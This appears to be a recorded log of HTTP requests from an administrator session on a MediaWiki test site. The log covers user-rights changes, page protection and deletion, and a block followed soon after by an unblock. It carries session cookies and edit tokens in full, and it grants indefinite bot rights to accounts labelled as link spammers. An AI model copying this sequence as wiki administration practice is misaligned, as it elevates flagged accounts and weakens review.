{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.notification.convertmessagebox%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.userrights%7Cmediawiki.widgets.SelectWithInputWidget%2CUserInputWidget%7Coojs-ui-widgets.icons%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1isym", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 285", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUserRights&wpGroup-bot=1&wpExpiry-bot=infinite&user-reason=Spamming+links&wpEditToken=8cb18cce8f29b56d4be243f6680e30a26af23fbe%2B%5C&user=Lighthouse&wpEditToken=63eff5c3442a7b3d0e61f2c5d3ed3dbb6af23fbe%2B%5C&conflictcheck-originalgroups=&saveusergroups=Save+user+groups"}
{"method": "GET", "target": "/wiki/Special:UserRights/Lighthouse", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.notification.convertmessagebox.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:UserRights/Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.protect%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=19xu7", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 339", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Lighthouse+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links&mwProtectWatch=1&wpEditToken=75375fbe86609ad8b8ff2ce9009078d96af23fc0%2B%5C"}
{"method": "GET", "target": "/wiki/Lighthouse_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.protectionIndicators.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=115w1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=unStar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.protectionIndicators.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cmisc-authed-ooui%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1oh8g", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 175", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Lighthouse+notes&wpDeleteReasonList=other&wpReason=Spamming+links&wpWatch=1&wpConfirmB=&wpEditToken=93af5bf28b424ea6f61259a172dc40ae6af23fc1%2B%5C&wpConfirmationRevId=12"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.helplink%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794260930%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Python3&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794260930%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 349", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794260930%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3ABlock&wpTarget=Python3&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links+to+python3+guides&wpAutoBlock=1&wpEditToken=aa8b621898b99cd5d5bbff7c983c51416af23fc2%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=Python3&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794260931%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 141", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794260931%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUnblock&wpTarget=Python3&wpReason=Spamming+links+to+python3+guides&wpEditToken=0301942f7378b7545282b44c2c59669e6af23fc5%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Python3&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794260934%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=Python3", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794260934%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 300", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Python3", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794260934%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUserRights&wpGroup-bot=1&wpExpiry-bot=infinite&user-reason=Spamming+links+to+python3+guides&wpEditToken=229e8052974b3c3c4f8007661187e43d6af23fc7%2B%5C&user=Python3&wpEditToken=4b385734108f62f64ab9bcd90a48d9b86af23fc7%2B%5C&conflictcheck-originalgroups=&saveusergroups=Save+user+groups"}
{"method": "GET", "target": "/wiki/Special:UserRights/Python3", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Python3", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794260936%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794260936%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 354", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794260936%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Python3+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links+to+python3+guides&mwProtectWatch=1&wpEditToken=a011544f3ec7fa75bd1fd89a2f20dcc96af23fc9%2B%5C"}
{"method": "GET", "target": "/wiki/Python3_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794260937%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794260937%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 190", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794260937%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Python3+notes&wpDeleteReasonList=other&wpReason=Spamming+links+to+python3+guides&wpWatch=1&wpConfirmB=&wpEditToken=894fe5e362a216c6fed953d5981e56266af23fca%2B%5C&wpConfirmationRevId=13"}
